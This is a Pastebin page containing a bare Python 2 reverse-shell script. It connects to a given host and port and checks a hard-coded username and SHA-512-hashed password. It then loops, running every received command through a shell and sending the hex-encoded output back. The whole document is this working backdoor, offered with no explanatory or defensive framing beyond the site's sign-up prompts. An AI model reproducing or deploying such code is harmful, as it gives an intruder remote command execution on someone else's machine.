Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket,re,sys,hashlib,subprocess,base64
- host = "127.0.0.1"
- port = int(sys.argv[1])
- usern = "gmo"
- passw = hashlib.sha512("omg").hexdigest()
- sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- try:
- sock.connect((host,port))
- sock.send("Username\n")
- user = base64.b64decode(str.strip(sock.recv(1024)))
- sock.send("Password\n")
- password = hashlib.sha512(base64.b64decode(str.strip(sock.recv(1024)))).hexdigest()
- if user == usern and password == passw:
- sock.send('Access Granted! Press enter to access the shell.')
- while 1:
- command = sock.recv(2048)
- proc = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)
- results = proc.stdout.read().encode("hex")
- sock.send(results)
- print 'Server closed!'
- except:
- print 'Server closed!'
Add Comment
Please, Sign In to add comment